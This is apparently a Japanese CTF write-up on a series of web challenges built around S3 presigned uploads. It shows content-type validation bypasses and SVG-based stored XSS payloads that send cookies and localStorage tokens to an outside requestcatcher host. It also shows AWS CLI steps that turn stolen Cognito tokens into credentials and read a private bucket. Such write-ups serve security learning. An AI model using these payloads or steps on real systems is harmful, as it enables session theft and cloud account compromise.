X-Amzn-Requestid: 64ecd233-4413-409b-9396-1f12a21fb5b9
X-Amzn-Remapped-Content-Length: 1563
X-Amzn-Remapped-Connection: keep-alive
X-Amzn-Trace-Id: root=1-6608ea13-69b867d2714f3544000d6ab7;parent=786b11917fd8b608;sampled=0;lineage=c3238ecb:0
X-Amzn-Remapped-Date: Sun, 31 Mar 2024 04:44:03 GMT
X-Cache: Miss from cloudfront
Via: 1.1 b87ac3fe7ef3cc185a4a3d8cc60e3f9e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: SFO53-P4
X-Amz-Cf-Id: Ycn2X4hU3_OPzko12dPNxVfYxYqdgkxQ35N6SyHma-i1cA-OliGagw==

{"url":"https://[redacted].s3.ap-northeast-1.amazonaws.com/upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject","filename":"827628d1-1a42-43b9-ae38-a264ef599906"}

こういうのが来るから、その後、PUTで

PUT /upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject HTTP/1.1
Host: [redacted].s3.ap-northeast-1.amazonaws.com
Content-Length: 111434
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: image/jpeg
Accept: */*
Origin: https://[redacted].cloudfront.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted].cloudfront.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

...

こういうので配置して、GET /upload/827628d1-1a42-43b9-ae38-a264ef599906で読めるようになる。
最初のPOSTリクエストでのみcontent-typeが検証されているので、そこだけimage/jpegを渡して最後のPUT部分を任意のものに変えれば、
取得時のContent-Typeをコントロールできるので後は同様に「image/svg+xml」するなりしてXSSする。

Is the end safe?

  const contentTypeValidator = (contentType: string) => {
    if (contentType.endsWith('image/png')) return true;
    if (contentType.endsWith('image/jpeg')) return true;
    if (contentType.endsWith('image/jpg')) return true;
    return false;
  };

このようにendsWithでバリデーションしている。後ろで;区切りでkey-value入れ込む記法があるので、そこで適当に突っ込んでやれば検証回避できる。

{"contentType":"text/html; hoge=image/png","length":96}

Just included?

  if (request.body.contentType.includes(';')) {
    return reply.code(400).send({ error: 'No file type (only type/subtype)' });
  }

  const allow = new RegExp('image/(jpg|jpeg|png|gif)$');
  if (!allow.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

;が防がれてしまった。
ガチャガチャやっていたら、よくわからんけどtext/html =image/pngでいけた。

forward priority...

  const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg'];

  const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType));
  if (isAllowContentType.length === 0) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

先頭末尾の検証がある。
image/png, text/htmlのようにコンマ区切りにするとブラウザでは後者が優先されるっぽいので、先頭回避はこれでできる。
末尾回避はIs the end safe?と同様にできるので、image/png, text/html; hoge=image/pngXSSできる。

Content extension

  const allowExtention = ['png', 'jpeg', 'jpg', 'gif'];

  const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0;
  if (!isAllowExtention) {
    return reply.code(400).send({ error: 'Invalid file extention' });
  }

  const contentType = `image/${request.body.extention}`;

のような感じでcontentTypeが作られる。
詳細な解法メモが無くて、最終的な解法だけが残っていたので解説は省略。

{"extention":["png", "text/html"],"length":96}

を送り、image/png,text/htmlでアップロードする。

sniff?

  if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) {
    return reply.code(400).send({ error: 'Invalid image type' });
  }

request.body.contentType.startsWith('image')ここだけ検証が甘い。
imageほにゃらら/pngで頑張るんだろうが…

mimetypeはワイルドカード使えるらしい?
image* /pngとしてみるとpng画像が出てきた。よく分からないが、MIME Sniffingが発動している?
後は、MIME Sniffingsvgされるようなちゃんとしたsvgファイル作ってやると、XSS発動する。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: document.cookie })
    //]]>
    </script>
</svg>

GEToken

この問題はBOTが特殊で、localStorageの情報を抜くように頑張る。
svgファイルからXSSができる。Content-Disposition: attachmentが邪魔だが、途中のPUTで消せば署名されてないので無効化できる。
よって、途中のPUTでContent-Disposition: attachmentを消し、以下をアップロードする。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: JSON.stringify(localStorage) })
    //]]>
    </script>
</svg>

とすると

{"CognitoIdentityServiceProvider.733341.refreshToken":"[redacted]",
"CognitoIdentityServiceProvider.733341.accessToken":"[redacted]",
"CognitoIdentityServiceProvider.733341.idToken":"[redacted]"}

idTokenのJWTを展開するとフラグがあった。

I am ...

前問の続きの問題。認証情報が手に入ったので、いろいろ頑張る。
あんまりよく分かってないが、ユーザー発行してもらって、あとはいつものように色々やる。

$ aws cognito-identity get-id \
--region ap-northeast-1 \
--identity-pool-id ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d \
--logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted]
{
    "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d"
}

$ aws cognito-identity get-credentials-for-identity \
--region ap-northeast-1 \
--identity-id ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d \
--logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted]
{
    "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d",
    "Credentials": {
        "AccessKeyId": "[redacted]",
        "SecretKey": "[redacted]",
        "SessionToken": "[redacted]",
        "Expiration": "2024-04-02T03:02:14+09:00"
    }
}

$export AWS_REGION=ap-northeast-1
$export AWS_ACCESS_KEY_ID=[redacted]
$export AWS_SECRET_ACCESS_KEY=[redacted]
$export AWS_SESSION_TOKEN=[redacted]

$ aws s3 ls
2024-03-24 19:01:16 cdk-hnb659fds-assets-339713032412-ap-northeast-1
2024-03-24 22:36:30 deliverybucket-5250c0a74f-adv-3-delivery
2024-03-25 14:05:29 specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-24 22:36:30 uploadbucket-5250c0a74f-adv-3-upload

$ aws s3 ls specialflagbucket-5250c0a74f-adv3-special-flag
2024-03-25 14:06:42         38 flag.txt

$ aws s3 cp s3://specialflagbucket-5250c0a74f-adv3-special-flag/flag.txt -
flag{[redacted]}

frame

/viewer/というエンドポイントが追加され、html埋め込みのjavascriptから以下のようにアップロード物が読まれて表示される。

      window.onload = async () => {
        const url = new URL(window.location.href);
        const path = url.pathname.slice(1).split('/');
        path.shift();
        const key = path.join('/');
        console.log(`Loading file: /${key}`);

        const response = await fetch(`/${key}`);
        if (!response.ok) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file</h1>';
          return;
        }
        const contentType = response.headers.get('content-type');
        if (isDenyMimeSubType(contentType)) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>';
          return;
        }
        const blobUrl = URL.createObjectURL(await response.blob());
        document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`;
      };

Blob URLが発行されて、iframeで表示みたいなやり方をしている。
普通にはcookie抜けなかったがparent.document.cookieとやればいい。
なぜ普通に抜けないのかはよく分かっていない。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        fetch('https://safdewrt34t34qtr.requestcatcher.com/get', { method: 'post', body: parent.document.cookie });
    //]]>
    </script>
</svg>

を入れて`/viewer/upload/uuidでいけた